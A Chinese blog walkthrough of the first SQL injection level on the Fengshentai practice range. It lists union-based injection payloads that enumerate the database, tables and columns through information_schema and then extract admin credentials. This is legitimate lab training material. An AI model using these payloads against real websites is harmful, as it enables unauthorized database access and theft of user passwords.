当前位置:首页 » 《资源分享》 » 正文

封神台sql注入---第一章节: 为了女神小芳_风流小小贼的博客

25 人参与  2021年10月27日 11:43  分类 : 《资源分享》  评论

点击全文阅读


1:靶场链接:  https://hack.zkaq.cn/battle/target?id=485e58d0afa7e4f7https://hack.zkaq.cn/battle/target?id=485e58d0afa7e4f7icon-default.png?t=L892https://hack.zkaq.cn/battle/target?id=485e58d0afa7e4f7

2:解题过程:

(1):打开传送门,点击"点击查看新闻"发现url出现参数 id = 1,猜测为注入点。

(2):判断字段个数:

      注入代码: order by 3 :页面显示异常
                         order by 2 :  页面显示正常

                         //判读字段数为2

 (3):判断字段是否有回显,及回显位置.

       注入语句: id =3534 union select 1,2 --

   

(4):猜解数据库名

      id = 2433 union select 1,database()

       数据库名为   maoshe

(5):猜解数据表名:

 id=2433 union select 1,table_name from information_schema.tables where table_schema='maoshe'

数据表名为: admin

(6):猜解所有字段:

id=1232 union select 1,(select group_concat(column_name,"~") from information_schem

a.columns where table_schema='maoshe' and table_name='admin')

字段名为:Id ,username, password

(7):获取用户信息:

(select group_concat(id,'--',username,'--',password,'--') from maoshe.admin)

获取用户密码: hellohack  过关!!!

 

 


点击全文阅读


本文链接:http://zhangshiyu.com/post/30174.html

字段  解数  注入  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

最新文章

  • 当女配看见弹幕后,被病娇男主强制爱了续集(裴纪洲江柠)_当女配看见弹幕后,被病娇男主强制爱了续集(裴纪洲江柠)
  • 「都市:比悍匪还猛,你管这叫警察?」章节限时抢先看‌_[苏浩]精彩章节免费试读
  • [乖乖女甜又野,偏执贺总失控沦陷]全集阅读_「温黎贺行舟」完结版免费阅读
  • 当女配看见弹幕后,被病娇男主强制爱了+结局+番外(裴纪洲江柠)列表_当女配看见弹幕后,被病娇男主强制爱了+结局+番外
  • 沈青禾霍沉洲+后续+结局(沈青禾霍沉洲)列表_沈青禾霍沉洲+后续+结局(沈青禾霍沉洲)全书+后续+结局在线
  • 全文当女配看见弹幕后,被病娇男主强制爱了+结局+番外(裴纪洲江柠)列表_全文当女配看见弹幕后,被病娇男主强制爱了+结局+番外
  • 当女配看见弹幕后,被病娇男主强制爱了结局+番外免费_(裴纪洲江柠)当女配看见弹幕后,被病娇男主强制爱了结局+番外列表_笔趣阁(裴纪洲江柠)
  • 当女配看见弹幕后,被病娇男主强制爱了+后续+结局(裴纪洲江柠)_(当女配看见弹幕后,被病娇男主强制爱了+后续+结局)列表_笔趣阁(裴纪洲江柠)
  • 陆斐年沈卿卿(偏我情深一往结局+番外)完结_(陆斐年沈卿卿)列表_笔趣阁(偏我情深一往结局+番外)
  • 全文桃花依然笑春风(陆乘渊云梵音)列表_全文桃花依然笑春风
  • 半是风雨半是霜全书+后续+结局(顾宴辞宋相欢)免费_(半是风雨半是霜全书+后续+结局)顾宴辞宋相欢列表_笔趣阁(顾宴辞宋相欢)
  • 人面桃花长相忆+后续+结局(阮雾梨闻砚辞阮见微)_(人面桃花长相忆+后续+结局)列表_笔趣阁(阮雾梨闻砚辞阮见微)

    关于我们 | 我要投稿 | 免责申明

    Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1